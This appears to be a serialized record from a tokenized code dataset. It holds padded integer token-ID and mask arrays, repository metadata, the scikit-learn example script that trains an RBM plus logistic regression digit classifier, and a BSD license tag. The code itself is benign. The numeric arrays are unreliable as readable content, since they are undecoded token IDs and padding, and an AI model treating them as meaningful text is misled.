32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 29, 1624, 13, 24, 199, 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 16952, 12, 6032, 63, 14129, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 12, 543, 63, 6242, 9, 199, 199, 504, 18081, 14, 1974, 14, 1100, 1974, 492, 7937, 63, 694, 199, 504, 18081, 63, 396, 14, 21970, 63, 1065, 63, 15092, 63, 396, 492, 510, 2285, 2540, 20405, 774, 421, 199, 533, 27324, 7868, 42, 2611, 11654, 20405, 774, 8, 27565, 2540, 20405, 774, 304, 819, 347, 511, 63, 90, 6559, 63, 3557, 63, 15712, 63, 13007, 63, 28708, 63, 460, 63, 6138, 8, 277, 304, 272, 543, 7937, 63, 694, 342, 465, 18115, 63, 1637, 26, 489, 15865, 63, 589, 275, 359, 267, 283, 11146, 14, 11146, 13, 15813, 13, 2537, 297, 267, 4320, 1637, 13, 952, 13, 475, 2968, 2440, 418, 1674, 908, 8, 16154, 63, 1637, 395, 267, 4320, 1637, 13, 739, 13, 504, 2968, 2440, 418, 1674, 908, 8, 16154, 63, 1637, 9, 489, 1622, 2541, 327, 17619, 65, 18653, 1077, 15865, 436, 32250, 1315, 6559, 14, 489, 1249, 275, 15865, 63, 589, 435, 788, 2014, 297, 283, 8589, 15, 2164, 15, 28708, 15, 1308, 15, 21970, 1506, 15, 2694, 15, 5006, 418, 489, 18081, 63, 1065, 275, 291, 14, 1065, 63, 21970, 8, 589, 9, 489, 291, 14, 479, 63, 3742, 8, 21970, 63, 1065, 9, 489, 291, 14, 1815, 11894, 31170, 13, 90, 6559, 6616, 315, 18081, 63, 1065, 14, 2703, 63, 576, 9, 2541, 327, 710, 1033, 3074, 1315, 6559, 18115, 1077, 506, 6328, 12, 880, 1315, 6559, 13, 6788, 9586, 18653, 489, 327, 1077, 12598, 652, 3140, 402, 8498, 14183, 3637, 436, 1033, 5384, 4020, 12, 2755, 2410, 3633, 13, 452, 14, 489, 18081, 63, 1065, 275, 291, 14, 1065, 63, 21970, 8, 11146, 63, 589, 435, 639, 788, 3118, 13, 452, 297, 3303, 283, 2014, 297, 3303, 283, 8589, 15, 2164, 15, 6138, 15, 1308, 15, 21970, 1506, 15, 2694, 15, 5006, 15, 4129, 1105, 489, 291, 14, 479, 63, 3742, 8, 21970, 63, 1065, 9, 489, 291, 14, 3334, 11894, 31170, 13, 90, 6559, 6616, 315, 18081, 63, 1065, 14, 2703, 63, 576, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
appapantula/scikit-learn
examples/neural_networks/plot_rbm_logistic_classification.py
258
4609
""" ============================================================== Restricted Boltzmann Machine features for digit classification ============================================================== For greyscale image data where pixel values can be interpreted as degrees of blackness on a white background, like handwritten digit recognition, the Bernoulli Restricted Boltzmann machine model (:class:`BernoulliRBM <sklearn.neural_network.BernoulliRBM>`) can perform effective non-linear feature extraction. In order to learn good latent representations from a small dataset, we artificially generate more labeled data by perturbing the training data with linear shifts of 1 pixel in each direction. This example shows how to build a classification pipeline with a BernoulliRBM feature extractor and a :class:`LogisticRegression <sklearn.linear_model.LogisticRegression>` classifier. The hyperparameters of the entire model (learning rate, hidden layer size, regularization) were optimized by grid search, but the search is not reproduced here because of runtime constraints. Logistic regression on raw pixel values is presented for comparison. The example shows that the features extracted by the BernoulliRBM help improve the classification accuracy. """ from __future__ import print_function print(__doc__) # Authors: Yann N. Dauphin, Vlad Niculae, Gabriel Synnaeve # License: BSD import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import convolve from sklearn import linear_model, datasets, metrics from sklearn.cross_validation import train_test_split from sklearn.neural_network import BernoulliRBM from sklearn.pipeline import Pipeline ############################################################################### # Setting up def nudge_dataset(X, Y): """ This produces a dataset 5 times bigger than the original one, by moving the 8x8 images in X around by 1px to left, right, down, up """ direction_vectors = [ [[0, 1, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [1, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 1], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 1, 0]]] shift = lambda x, w: convolve(x.reshape((8, 8)), mode='constant', weights=w).ravel() X = np.concatenate([X] + [np.apply_along_axis(shift, 1, X, vector) for vector in direction_vectors]) Y = np.concatenate([Y for _ in range(5)], axis=0) return X, Y # Load Data digits = datasets.load_digits() X = np.asarray(digits.data, 'float32') X, Y = nudge_dataset(X, digits.target) X = (X - np.min(X, 0)) / (np.max(X, 0) + 0.0001) # 0-1 scaling X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=0) # Models we will use logistic = linear_model.LogisticRegression() rbm = BernoulliRBM(random_state=0, verbose=True) classifier = Pipeline(steps=[('rbm', rbm), ('logistic', logistic)]) ############################################################################### # Training # Hyper-parameters. These were set by cross-validation, # using a GridSearchCV. Here we are not performing cross-validation to # save time. rbm.learning_rate = 0.06 rbm.n_iter = 20 # More components tend to give better prediction performance, but larger # fitting time rbm.n_components = 100 logistic.C = 6000.0 # Training RBM-Logistic Pipeline classifier.fit(X_train, Y_train) # Training Logistic regression logistic_classifier = linear_model.LogisticRegression(C=100.0) logistic_classifier.fit(X_train, Y_train) ############################################################################### # Evaluation print() print("Logistic regression using RBM features:\n%s\n" % ( metrics.classification_report( Y_test, classifier.predict(X_test)))) print("Logistic regression using raw pixel features:\n%s\n" % ( metrics.classification_report( Y_test, logistic_classifier.predict(X_test)))) ############################################################################### # Plotting plt.figure(figsize=(4.2, 4)) for i, comp in enumerate(rbm.components_): plt.subplot(10, 10, i + 1) plt.imshow(comp.reshape((8, 8)), cmap=plt.cm.gray_r, interpolation='nearest') plt.xticks(()) plt.yticks(()) plt.suptitle('100 components extracted by RBM', fontsize=16) plt.subplots_adjust(0.08, 0.02, 0.92, 0.85, 0.08, 0.23) plt.show()
bsd-3-clause
[ 624, 199, 12813, 17224, 199, 28850, 699, 393, 3903, 20059, 18722, 4534, 367, 10964, 12505, 199, 12813, 17224, 199, 199, 1858, 30357, 3467, 1834, 666, 2382, 7148, 1338, 883, 506, 11922, 465, 14358, 402, 199, 8399, 4171, 641, 282, 10424, 8020, 12, 2839, 4926, 8938, 10964, 17319, 15415, 12, 314, 199, 24947, 24992, 32491, 1522, 699, 393, 3903, 20059, 6844, 1402, 18479, 533, 1705, 24947, 24992, 50, 15225, 199, 28, 27993, 14, 685, 4889, 63, 1200, 14, 24947, 24992, 50, 15225, 8637, 9, 883, 5147, 15826, 2222, 13, 6676, 199, 4445, 19967, 14, 199, 199, 607, 1865, 370, 12537, 6954, 2465, 343, 30580, 687, 282, 7425, 4789, 12, 781, 199, 285, 1428, 559, 1183, 3550, 1655, 23677, 666, 701, 1126, 16218, 10911, 314, 6093, 666, 543, 199, 6676, 20863, 1086, 402, 413, 7148, 315, 1924, 7581, 14, 199, 199, 2765, 2893, 13703, 4212, 370, 1900, 282, 12505, 7679, 543, 282, 23207, 24992, 50, 15225, 199, 4445, 31295, 436, 282, 520, 533, 1705, 2445, 23032, 199, 28, 27993, 14, 6676, 63, 1238, 14, 2445, 23032, 8637, 12429, 14, 710, 10342, 3214, 199, 1618, 314, 8039, 1402, 334, 10546, 6634, 12, 8752, 4045, 1568, 12, 21095, 9, 199, 1129, 264, 20212, 701, 6068, 2754, 12, 1325, 314, 2754, 365, 440, 9172, 68, 2348, 2952, 199, 1618, 8836, 9565, 14, 199, 199, 2445, 6937, 10864, 641, 3066, 7148, 1338, 365, 26568, 367, 9132, 14, 710, 199, 2694, 13703, 626, 314, 4534, 12509, 701, 314, 23207, 24992, 50, 15225, 1720, 19053, 314, 199, 14368, 12862, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 1361, 3460, 1301, 3368, 199, 199, 3, 6642, 26, 1488, 1189, 653, 14, 577, 65, 384, 72, 262, 12, 812, 76, 350, 653, 530, 348, 3624, 12, 598, 371, 322, 352, 29988, 3540, 4754, 199, 3, 844, 26, 6289, 199, 199, 646, 2680, 465, 980, 199, 646, 8027, 14, 13563, 465, 4488, 199, 199, 504, 7026, 14, 78, 23335, 492, 8260, 3344, 199, 504, 6357, 492, 7798, 63, 1238, 12, 13148, 12, 7186, 199, 504, 6357, 14, 7925, 63, 6136, 492, 3560, 63, 396, 63, 1294, 199, 504, 6357, 14, 685, 4889, 63, 1200, 492, 23207, 24992, 50, 15225, 199, 504, 6357, 14, 7379, 492, 19090, 421, 199, 11490, 199, 3, 13510, 1536, 199, 199, 318, 302, 16603, 63, 5214, 8, 56, 12, 1488, 304, 272, 408, 272, 961, 16904, 282, 4789, 959, 5431, 29416, 2419, 314, 3379, 1373, 12, 272, 701, 12876, 314, 1695, 88, 24, 5935, 315, 1323, 6818, 701, 413, 5326, 370, 3602, 12, 2451, 12, 3224, 12, 1536, 272, 408, 272, 7581, 63, 12280, 275, 359, 267, 3474, 16, 12, 413, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 2365, 398, 3474, 16, 12, 378, 12, 378, 467, 268, 359, 17, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 2365, 398, 3474, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 413, 467, 268, 359, 16, 12, 378, 12, 378, 2365, 398, 3474, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 413, 12, 378, 20737, 339, 7706, 275, 2400, 671, 12, 336, 26, 8260, 3344, 8, 88, 14, 5217, 1332, 24, 12, 1695, 1826, 818, 534, 4083, 297, 3303, 4931, 29, 87, 680, 11186, 342, 272, 1323, 275, 980, 14, 13433, 779, 56, 61, 435, 2432, 359, 1590, 14, 4998, 63, 21632, 63, 3127, 8, 4723, 12, 413, 12, 1323, 12, 5477, 9, 717, 367, 5477, 315, 7581, 63, 12280, 566, 272, 1488, 275, 980, 14, 13433, 779, 57, 367, 485, 315, 1425, 8, 21, 4360, 3114, 29, 16, 9, 272, 372, 1323, 12, 1488, 199, 199, 3, 7190, 3918, 199, 7022, 275, 13148, 14, 912, 63, 7022, 342, 199, 56, 275, 980, 14, 8748, 8, 7022, 14, 576, 12, 283, 1609, 708, 358, 199, 56, 12, 1488, 275, 302, 16603, 63, 5214, 8, 56, 12, 7576, 14, 1375, 9, 199, 56, 275, 334, 56, 446, 980, 14, 827, 8, 56, 12, 378, 430, 1182, 334, 1590, 14, 988, 8, 56, 12, 378, 9, 435, 378, 14, 4183, 9, 221, 327, 378, 13, 17, 13690, 199, 199, 56, 63, 2834, 12, 1323, 63, 396, 12, 1488, 63, 2834, 12, 1488, 63, 396, 275, 3560, 63, 396, 63, 1294, 8, 56, 12, 1488, 12, 8105, 511, 63, 890, 29, 16, 14, 18, 12, 8105, 2196, 63, 929, 29, 16, 9, 199, 199, 3, 29941, 781, 911, 675, 199, 23452, 275, 7798, 63, 1238, 14, 2445, 23032, 342, 199, 4848, 77, 275, 23207, 24992, 50, 15225, 8, 2355, 63, 929, 29, 16, 12, 3376, 29, 549, 9, 199, 199, 14720, 275, 19090, 8, 5895, 11699, 4848, 77, 297, 11587, 77, 395, 661, 23452, 297, 30360, 3948, 199, 199, 11490, 199, 3, 22859, 199, 199, 3, 21344, 13, 3214, 14, 5723, 4898, 663, 701, 8059, 13, 6136, 12, 199, 3, 1808, 282, 32570, 14, 11842, 781, 787, 440, 19203, 8059, 13, 6136, 370, 199, 3, 3354, 900, 14, 199, 4848, 77, 14, 10546, 63, 1866, 275, 378, 14, 1690, 199, 4848, 77, 14, 78, 63, 1661, 275, 3388, 199, 3, 16917, 7323, 221, 7169, 370, 8120, 8034, 12044, 10238, 12, 1325, 12142, 199, 3, 21774, 900, 199, 4848, 77, 14, 78, 63, 4608, 275, 2948, 199, 23452, 14, 35, 275, 1227, 1493, 14, 16, 199, 199, 3, 22859, 820, 15225, 13, 2445, 6937, 19090, 199, 14720, 14, 3269, 8, 56, 63, 2834, 12, 1488, 63, 2834, 9, 199, 199, 3, 22859, 5297, 6937, 10864, 199, 23452, 63, 14720, 275, 7798, 63, 1238, 14, 2445, 23032, 8, 35, 29, 1960, 14, 16, 9, 199, 23452, 63, 14720, 14, 3269, 8, 56, 63, 2834, 12, 1488, 63, 2834, 9, 199, 199, 11490, 199, 3, 16494, 4086, 199, 199, 1361, 342, 199, 1361, 480, 2445, 6937, 10864, 1808, 820, 15225, 4534, 3427, 78, 5, 83, 60, 78, 2, 450, 334, 272, 7186, 14, 14368, 63, 3070, 8, 267, 1488, 63, 396, 12, 267, 12429, 14, 6892, 8, 56, 63, 396, 7845, 199, 199, 1361, 480, 2445, 6937, 10864, 1808, 3066, 7148, 4534, 3427 ]
[ 199, 12813, 17224, 199, 28850, 699, 393, 3903, 20059, 18722, 4534, 367, 10964, 12505, 199, 12813, 17224, 199, 199, 1858, 30357, 3467, 1834, 666, 2382, 7148, 1338, 883, 506, 11922, 465, 14358, 402, 199, 8399, 4171, 641, 282, 10424, 8020, 12, 2839, 4926, 8938, 10964, 17319, 15415, 12, 314, 199, 24947, 24992, 32491, 1522, 699, 393, 3903, 20059, 6844, 1402, 18479, 533, 1705, 24947, 24992, 50, 15225, 199, 28, 27993, 14, 685, 4889, 63, 1200, 14, 24947, 24992, 50, 15225, 8637, 9, 883, 5147, 15826, 2222, 13, 6676, 199, 4445, 19967, 14, 199, 199, 607, 1865, 370, 12537, 6954, 2465, 343, 30580, 687, 282, 7425, 4789, 12, 781, 199, 285, 1428, 559, 1183, 3550, 1655, 23677, 666, 701, 1126, 16218, 10911, 314, 6093, 666, 543, 199, 6676, 20863, 1086, 402, 413, 7148, 315, 1924, 7581, 14, 199, 199, 2765, 2893, 13703, 4212, 370, 1900, 282, 12505, 7679, 543, 282, 23207, 24992, 50, 15225, 199, 4445, 31295, 436, 282, 520, 533, 1705, 2445, 23032, 199, 28, 27993, 14, 6676, 63, 1238, 14, 2445, 23032, 8637, 12429, 14, 710, 10342, 3214, 199, 1618, 314, 8039, 1402, 334, 10546, 6634, 12, 8752, 4045, 1568, 12, 21095, 9, 199, 1129, 264, 20212, 701, 6068, 2754, 12, 1325, 314, 2754, 365, 440, 9172, 68, 2348, 2952, 199, 1618, 8836, 9565, 14, 199, 199, 2445, 6937, 10864, 641, 3066, 7148, 1338, 365, 26568, 367, 9132, 14, 710, 199, 2694, 13703, 626, 314, 4534, 12509, 701, 314, 23207, 24992, 50, 15225, 1720, 19053, 314, 199, 14368, 12862, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 1361, 3460, 1301, 3368, 199, 199, 3, 6642, 26, 1488, 1189, 653, 14, 577, 65, 384, 72, 262, 12, 812, 76, 350, 653, 530, 348, 3624, 12, 598, 371, 322, 352, 29988, 3540, 4754, 199, 3, 844, 26, 6289, 199, 199, 646, 2680, 465, 980, 199, 646, 8027, 14, 13563, 465, 4488, 199, 199, 504, 7026, 14, 78, 23335, 492, 8260, 3344, 199, 504, 6357, 492, 7798, 63, 1238, 12, 13148, 12, 7186, 199, 504, 6357, 14, 7925, 63, 6136, 492, 3560, 63, 396, 63, 1294, 199, 504, 6357, 14, 685, 4889, 63, 1200, 492, 23207, 24992, 50, 15225, 199, 504, 6357, 14, 7379, 492, 19090, 421, 199, 11490, 199, 3, 13510, 1536, 199, 199, 318, 302, 16603, 63, 5214, 8, 56, 12, 1488, 304, 272, 408, 272, 961, 16904, 282, 4789, 959, 5431, 29416, 2419, 314, 3379, 1373, 12, 272, 701, 12876, 314, 1695, 88, 24, 5935, 315, 1323, 6818, 701, 413, 5326, 370, 3602, 12, 2451, 12, 3224, 12, 1536, 272, 408, 272, 7581, 63, 12280, 275, 359, 267, 3474, 16, 12, 413, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 2365, 398, 3474, 16, 12, 378, 12, 378, 467, 268, 359, 17, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 2365, 398, 3474, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 413, 467, 268, 359, 16, 12, 378, 12, 378, 2365, 398, 3474, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 378, 12, 378, 467, 268, 359, 16, 12, 413, 12, 378, 20737, 339, 7706, 275, 2400, 671, 12, 336, 26, 8260, 3344, 8, 88, 14, 5217, 1332, 24, 12, 1695, 1826, 818, 534, 4083, 297, 3303, 4931, 29, 87, 680, 11186, 342, 272, 1323, 275, 980, 14, 13433, 779, 56, 61, 435, 2432, 359, 1590, 14, 4998, 63, 21632, 63, 3127, 8, 4723, 12, 413, 12, 1323, 12, 5477, 9, 717, 367, 5477, 315, 7581, 63, 12280, 566, 272, 1488, 275, 980, 14, 13433, 779, 57, 367, 485, 315, 1425, 8, 21, 4360, 3114, 29, 16, 9, 272, 372, 1323, 12, 1488, 199, 199, 3, 7190, 3918, 199, 7022, 275, 13148, 14, 912, 63, 7022, 342, 199, 56, 275, 980, 14, 8748, 8, 7022, 14, 576, 12, 283, 1609, 708, 358, 199, 56, 12, 1488, 275, 302, 16603, 63, 5214, 8, 56, 12, 7576, 14, 1375, 9, 199, 56, 275, 334, 56, 446, 980, 14, 827, 8, 56, 12, 378, 430, 1182, 334, 1590, 14, 988, 8, 56, 12, 378, 9, 435, 378, 14, 4183, 9, 221, 327, 378, 13, 17, 13690, 199, 199, 56, 63, 2834, 12, 1323, 63, 396, 12, 1488, 63, 2834, 12, 1488, 63, 396, 275, 3560, 63, 396, 63, 1294, 8, 56, 12, 1488, 12, 8105, 511, 63, 890, 29, 16, 14, 18, 12, 8105, 2196, 63, 929, 29, 16, 9, 199, 199, 3, 29941, 781, 911, 675, 199, 23452, 275, 7798, 63, 1238, 14, 2445, 23032, 342, 199, 4848, 77, 275, 23207, 24992, 50, 15225, 8, 2355, 63, 929, 29, 16, 12, 3376, 29, 549, 9, 199, 199, 14720, 275, 19090, 8, 5895, 11699, 4848, 77, 297, 11587, 77, 395, 661, 23452, 297, 30360, 3948, 199, 199, 11490, 199, 3, 22859, 199, 199, 3, 21344, 13, 3214, 14, 5723, 4898, 663, 701, 8059, 13, 6136, 12, 199, 3, 1808, 282, 32570, 14, 11842, 781, 787, 440, 19203, 8059, 13, 6136, 370, 199, 3, 3354, 900, 14, 199, 4848, 77, 14, 10546, 63, 1866, 275, 378, 14, 1690, 199, 4848, 77, 14, 78, 63, 1661, 275, 3388, 199, 3, 16917, 7323, 221, 7169, 370, 8120, 8034, 12044, 10238, 12, 1325, 12142, 199, 3, 21774, 900, 199, 4848, 77, 14, 78, 63, 4608, 275, 2948, 199, 23452, 14, 35, 275, 1227, 1493, 14, 16, 199, 199, 3, 22859, 820, 15225, 13, 2445, 6937, 19090, 199, 14720, 14, 3269, 8, 56, 63, 2834, 12, 1488, 63, 2834, 9, 199, 199, 3, 22859, 5297, 6937, 10864, 199, 23452, 63, 14720, 275, 7798, 63, 1238, 14, 2445, 23032, 8, 35, 29, 1960, 14, 16, 9, 199, 23452, 63, 14720, 14, 3269, 8, 56, 63, 2834, 12, 1488, 63, 2834, 9, 199, 199, 11490, 199, 3, 16494, 4086, 199, 199, 1361, 342, 